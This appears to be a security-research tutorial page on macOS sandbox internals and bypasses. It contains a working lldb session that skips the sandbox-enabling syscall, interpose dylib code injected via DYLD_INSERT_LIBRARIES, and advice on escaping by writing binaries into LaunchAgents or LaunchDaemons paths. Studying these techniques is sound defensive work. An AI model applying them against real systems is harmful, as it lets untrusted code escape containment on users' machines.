# macOS Sandbox Debug & Bypass

<details>

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## Sandbox loading process

<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption><p>Image from <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>

In the previous image it's possible to observe **how the sandbox will be loaded** when an application with the entitlement **`com.apple.security.app-sandbox`** is run.

The compiler will link `/usr/lib/libSystem.B.dylib` to the binary.

Then, **`libSystem.B`** will be calling other several functions until the **`xpc_pipe_routine`** sends the entitlements of the app to **`securityd`**. Securityd checks if the process should be quarantine inside the Sandbox, and if so, it will be quarentine.\
Finally, the sandbox will be activated will a call to **`__sandbox_ms`** which will call **`__mac_syscall`**.

## Possible Bypasses

### Run binary without Sandbox

If you run a binary that won't be sandboxed from a sandboxed binary, it will **run within the sandbox of the parent process**.

### Debug & bypass Sandbox with lldb

Let's compile an application that should be sandboxed:

{% tabs %}
{% tab title="sand.c" %}
```c
#include <stdlib.h>
int main() {
    system("cat ~/Desktop/del.txt");
}
```
{% endtab %}

{% tab title="entitlements.xml" %}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>
```
{% endtab %}

{% tab title="Info.plist" %}
```xml
<plist version="1.0">
<dict>
    <key>CFBundleIdentifier</key>
    <string>xyz.hacktricks.sandbox</string>
    <key>CFBundleName</key>
    <string>Sandbox</string>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}

Then compile the app:

{% code overflow="wrap" %}
```bash
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand
```
{% endcode %}

{% hint style="danger" %}
The app will try to **read** the file **`~/Desktop/del.txt`**, which the **Sandbox won't allow**.\
Create a file in there as once the Sandbox is bypassed, it will be able to read it:

```bash
echo "Sandbox Bypassed" > ~/Desktop/del.txt
```
{% endhint %}

Let's debug the chess application to see when is the Sandbox loaded:

```bash
# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
  * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
    frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
    frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
    frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
    frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
  x2 = 0x000000016fdfd660
  
# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
    0x187659904 <+4>:  svc    #0x80
    0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
    0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)
```

{% hint style="warning" %}
**Even with the Sandbox bypassed TCC** will ask the user if he wants to allow the process to read files from desktop
{% endhint %}

### Interposting Bypass

For more information about **Interposting** check:

{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
{% endcontent-ref %}

#### Interpost `_libsecinit_initializer` to prevent the sandbox

```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
    printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
	void (*overriden__libsecinit_initializer)(void);
	void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
```

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```

#### Interpost `__mac_syscall` to prevent the Sandbox

{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
    printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
    if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
        printf("Bypassing Sandbox initiation.\n");
        return 0; // pretend we did the job without actually calling __mac_syscall
    }
    // Call the original function for other cases
    return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
    const void *replacement;
    const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
    { (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
```
{% endcode %}

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!
```

### Static Compiling & Dynamically linking

[**This research**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) discovered 2 ways to bypass the Sandbox. Because the sandbox is applied from userland when the **libSystem** library is loaded. If a binary could avoid loading it, it would never get sandboxed:

* If the binary was **completely statically compiled**, it could avoid loading that library.
* If the **binary wouldn't need to load any libraries** (because the linker is also in libSystem), it won't need to load libSystem.&#x20;

### Shellcodes

Note that **even shellcodes** in ARM64 needs to be linked in `libSystem.dylib`:

```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```

### Abusing Write & Execute

If a sandboxed process can **write** in a place where **later an unsandboxed application is going to run the binary**, it will be able to **escape just by placing** there the binary. A good example of this kind of locations are `~/Library/LaunchAgents` or `/System/Library/LaunchDaemons`.

For this you might even need **2 steps**: To make a process with a **more permissive sandbox** (`file-read*`, `file-write*`) to execute your code which will actually write in a place where it will be **executed unsandboxed**.

## References

* [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
* [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)
* [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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</details>